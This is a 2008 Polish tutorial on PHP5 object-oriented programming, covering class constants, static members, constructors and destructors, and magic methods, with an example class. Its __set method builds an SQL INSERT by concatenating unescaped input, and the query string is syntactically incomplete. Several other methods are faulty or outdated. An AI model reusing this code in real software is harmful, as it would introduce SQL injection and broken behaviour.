Jak można zauważyć tworzenie metod wygląda praktycznie jak tworzenie zwykłych funkcji (wraz z możliwością sparametryzowania metod), z tymże przed function dodajemy typ metody. Do metod wewnątrz klasy lub z klas potomnych odnosimy się z specjalnej właściwości wskazującej zawsze na obiekt nazwanej $this.

Adekwatnie sprawa miewa się z zmiennymi klasy. Wystarczy przed ich nazwą dodać jeden z pierwszych trzech typów.

Warto byłoby dodać, że zerować, bądź po prostu narzucać wartość właściwością można z trzech poziomów. Z miejsca deklaracji, z konstruktora (o którym poniżej), a także z wnętrza uprawnionych do tego metod.

No i na koniec przykład działania wspomnianego przeze mnie użycia final z klasą:

Lunch z metodami, właściwościami statycznymi i stałymi...

O definiowaniu stałych w zakresie ogólnym PHP już pisałem. Przybliżę jednak samą kwestię ich użycia w klasach, gdyż tam jest to niewystarczająco poruszone.

Stałe klasy tworzymy poprzez użycie zwrotu const. Stałe mogą być deklarowane w klasach (w tym w finalnych) i interfejsach. Nie mogą być przedefiniowane. Ich wartość musi być stałym wyrażeniem (np. ciągiem znaków, liczbą, itp.). Nie może być za to wartością zmiennej, czy rezultatem operacji matematycznej. Z reguły dla zachowania dobrych nawyków przyjmuje się, że nazwę stałej zapisuje się drukowanymi znakami.

Do stałej domyślnie w klasie odnosimy się poprzez słowo self i operator zasięgu ::. Pod względem użytkowania sprawa miewa się adekwatnie jak w przypadku opisywanego wyżej parent::. Funkcjonalnie self:: daje dostęp do metod i pól statycznych w danej klasie. Takowym, uogólniając jest stała. W klasach potomnych odniesienie do stałej w klasie bazowej odbywa się tak samo, ale za pomocą wspomnianego już parent::.

Z poza klasy mając wersję PHP niższą niż 5.3 możemy operować na tego typu zasobach poprzez operator statyczności lub poprzez wskaźnik obiektu na opcjonalną metodę zwracającą wartość stałej. W wersji w.w. można odwołać się bezpośrednio poprzez obiekt klasy bądź statycznie poprzez przypisaną do zmiennej nazwę klasy.

Dlaczego powinno używać się stałych klasowych, a nie zwykłych definiowanych poprzez funkcję define(params);? Z dwóch powodów. Estetycznego - systematyzują kod. I co ważniejsze - optymalnego, gdyż działają szybciej niż te pierwotne.

Co do statyczności w PHP5 jest ona przestrzegana bardziej restrykcyjnie. Nie można już wywoływać każdej metody, czy właściwości statycznie. Trzeba przed nazwą funkcji klasy i function dodać static, podobnie jest w wypadku zmiennych z tymże przed ich nazwą. W metodach statycznych można używać tylko statycznych pól, a przy odwoływaniu się do zasobów statycznych nie należy robić tego w postaci notacji obiektowej. Elementy tego typu podlegają także zasadą kapsułkowania. Pola za to nie wymagają tworzenia instancji obiektu. Wystarczy posłużyć się nazwą klasy w skrypcie, a jak już wspomniałem w bazowej i dziedziczonych klasach odpowiednio są to self:: i parent::.

Reasumując podstawową zaletą jest fakt, że nie potrzeba tworzyć instancji w celu skorzystania z statycznych zasobów (elementy w stylu $instancja->, czy $this-> nie zadziałają). Przydaję się to w wielu różnych, bardziej zaawansowanych zastosowaniach, np. przy tworzeniu singletonu, o czym w następnej części kursu.

Co dziś dobrego na obiad? Konstruktory i destruktory...

Zasada działania konstruktora i destruktora klasy jest bardzo prosta. Są to dwie wbudowane w PHP5 metody wywoływane automatycznie, pierwsza po utworzeniu obiektu, a druga po jego zniszczeniu (po załadowaniu strony bądź poprzez użycie unset($var);). Co za tym idzie żadna z nich nie jest wywoływana przy użyciu statycznego odwołania i bez wykreowania instancji obiektu.

Konstruktor tworzymy poprzez nadanie metodzie nazwy __construct(params), a destruktor __destruct(). Możemy, lecz w tym wypadku nie jesteśmy do tego koniecznie zobligowani nadać tym metodom typ (np. publiczny).

Do czego mogą się przydać te dwie funkcje? Wszystko zależy od potrzeb, ale mogą np. do zerowania pól, otwierania, zamykania różnego rodzaju połączeń, czy tworzenia lub niszczenia innych obiektów.

Ciąg dalszy metod magicznych na kolacje...

Jest pewien zbiór metod wbudowanych w OOP piątej wersji PHP, w tym __construct() i __destruct(), które są predefiniowane do specyficznego użycia i nie można ich nazewnictwa powielać w klasach (dokumentacja zaleca także, aby przy tworzeniu metod nie rozpoczynać ich nazwy od __, gdyż w przyszłości może pojawić się więcej opisywanych właśnie zasobów rozpoczynających się od takiego ciągu).

<?php
final class magiczneMetody {   
        private         $user_id;
        private         $fn;
        private         $mode;
        private         $handle;
        public          $temp1;
        public          $temp2;
       
        public function __construct($filename, $mode)
        {
                $this->user_id          = array(
                        'name'          => 'vivee'
                        );
                       
                $this->fn                       = $filename;
        $this->mode             = $mode;
        $this->handle           = fopen($this->fn, $this->mode);
        }
       
        public function __destruct()
        {
                fclose($this->handle);
        }
       
        public function __sleep()
        {
                $this->user_id['name']  = 'm1chu';
                return array('user_id'); // zwracamy tablice zmiennych do ponownego zaladowania po deserializacji
        }
       
        public function __wakeup()
        {
                $this->user_id['stat']  = 'working...';
        }
       
        public function __call($name, $params)
        {
                print 'Wywołano nieistniejącą metodę ' . $name . ' o parametrach: ';
                if ( $params[0] != '' )
                {
                        $counted_params         = count($params);
                        for ( $i = 0; $i < $counted_params; ++$i )
                        {
                                print ( $i > 0 ? ', ' . $params[$i] : $params[$i] );
                        }
                }
                else {
                        print 'brak';
                }
        }
       
        public function __clone()
        {
                $this->handle           = fopen($this->fn, $this->mode);
        }
       
        public function __get($pole)
        {
                print 'Wywołano nieistniejące pole: ' . $pole;
        }
       
        public function __set($name, $value)
        {
                mysql_query('INSERT INTO logs (log_name, log_val) VALUES(\'' . $name . '\', \'' . $value . '\'');
                print 'Próbowano przypisać do nieistniejącej właściwości ' . $name . ' wartość ' . $value;
        }
       
        public function __isset($var)
        {
                print 'Zmienna ' . $var . ' nie została ustawiona';
        }
       
        public function __toString()
        {
                print 'Nie ma dostepu do obiektu ';
        }
       
        public static function __set_state($array)
        {
                $temp_obj                       = new magiczneMetody();
                $temp_obj->temp1        = $array['temp1'];
                $temp_obj->temp2        = $array['temp2'];
                return $temp_obj;
        }
}

function __autoload($class)
{
        require './klasa.php';
}

$obiekt         = new magiczneMetody('file.txt', 'r+');

// zasada dzialania __sleep() i __wakeup()
print_r($obiekt); // zwroci: magiczneMetody Object ( [user_id:private] => Array ( [name] => vivee ) )
$serialized             = serialize($obiekt); // wywolanie przed serializacja metody magicznej __sleep()
print_r(unserialize($serialized)); // zwroci: magiczneMetody Object ( [user_id:private] => Array ( [name] => m1chu [stat] => working... ) )

// zasada dzialania __call()
$obiekt->bezParametru(); // nieistniejaca metoda, zwroci: Wywołano nieistniejącą metodę bezParametru o parametrach: brak
$obiekt->zParametrami(1, true, 'string'); // nieistniejaca metoda, zwroci: Wywołano nieistniejącą metodę zParametrami o parametrach: 1, 1, string

// zasada dzialania __clone()
$clone                  = clone $obiekt; // sklonowanie obiektu wraz z wywolaniem nowego strumienia do zasobu

// zasada dzialania __get()
print $obiekt->nieistniejacePole; // nie istnieje taka własciwosc w klasie, zostanie wywolana metoda __get(param)

// zasada dzialania __set()
// polaczenie z baza danych (dla przykladu MySQL)
$obiekt->username       = 'vivee'; // nie istnieje taka wlasciowsc w klasie, a poniewaz staramy sie do niej cos przypisac to zostanie wywolana metoda __set(params)
// koniec polaczenia z baza danych

// zasada dzialania __isset()
isset($obiekt->username); // zwroci Zmienna username nie została ustawiona

// zasada dzialania __toString()
print $obiekt; // zrzutowanie na ciag znakow obiektu wiec zostanie wywolane __toString()

// zasada dzialania __set_state()
$obiekt->temp1          = 'test';
$obiekt->temp2          = 'test drugi';
$obiekt2 = var_export($obiekt, true);
var_dump($obiekt2); // wyswietli string(206) "magiczneMetody::__set_state(array( 'user_id' => array ( 'name' => 'vivee', ), 'fn' => 'file.txt', 'mode' => 'r+', 'handle' => false, 'temp1' => 'test', 'temp2' => 'test drugi', ))"

// zasada dzialania funkcji __autoload()
$nieistniejaca_klasa    = new jakasKlasa(); // nastepuje proba stworzenia instancji niedostepnej klasy - PHP poprzez __autoload() postara sie zaincludowac plik z klasa i ponownie utworzyc obiekt
$nieistniejaca_klasa->istniejacaMetoda(); // jesli uda sie utworzyc obiekt zostanie wywolana nastepujaca metoda
?>

Do poduszki - metodyka postępowania wstępnego...

Dziwnie to wygląda, ale na koniec wypadałoby napisać kilka zdań o tym jak w ogóle podejść do programowania obiektowego. Bo pisanie klas to nie tylko bezmyślne trzepanie kodu w postaci metod tak, żeby później można to było z marszu i masowo użyć poprzez instancję obiektu klasy.

Jeśli pracujesz nad dużym projektem, to prawdopodobnie wiesz co robić. Dokumentacja i od cholery konstruktywnych komentarzy w kodzie. Pomimo, że OOP w przypadku podziału pracy na kilka osób ma na celu ułatwienie pracy w taki sposób, aby nie musiało się przeglądać całego kodu napisanego przez współtowarzysza a jedynie skorzystać z stworzonych przez niego metod i pól to niekiedy nie można zrobić czegoś inaczej niż modyfikując kod współpracownika.

W mniejszych projektach, szczególnie tych gdzie programuje tylko jedna osoba jestem za tym, żeby nie marnować niepotrzebnie kartek papieru i próbować tworzyć układając plan w głowie. Wystarczy przecież logicznie myśleć. Wiem, że dla niektórych wydaje się to abstrakcyjne. Dla mnie też było, gdy zaczynałem. Musicie po prostu napisać kilka skryptów, kilka tysięcy linijek kodu i zrozumiecie o co chodzi. Podstawą jest wyrobienie sobie swojego stylu pisania na podstawie aktualnych dogmatów tworzenia kodu. Pamiętajcie, że zarówno w obiektowym programowaniu w PHP, jak i zresztą w każdej dziedzinie życia sucha i niekiedy bezsensowna teoria nigdy nie nauczy Was tyle co własna praktyka. Może jedynie być informacyjnym preludium do Waszej dalszej, indywidualnej nauki, czy pracy...

Mam nadzieję, że wybaczycie mi trochę powtórzeń (i zarazem wszelkie pomyłki), niestety w większości były niezbędne do opisu poruszanej problematyki. Niedługo kolejna część o programowaniu zorientowanym obiektowo.

copyright © 2008, m1chu

udostępnione na licencji CC dla vivee.info i m1chu.eu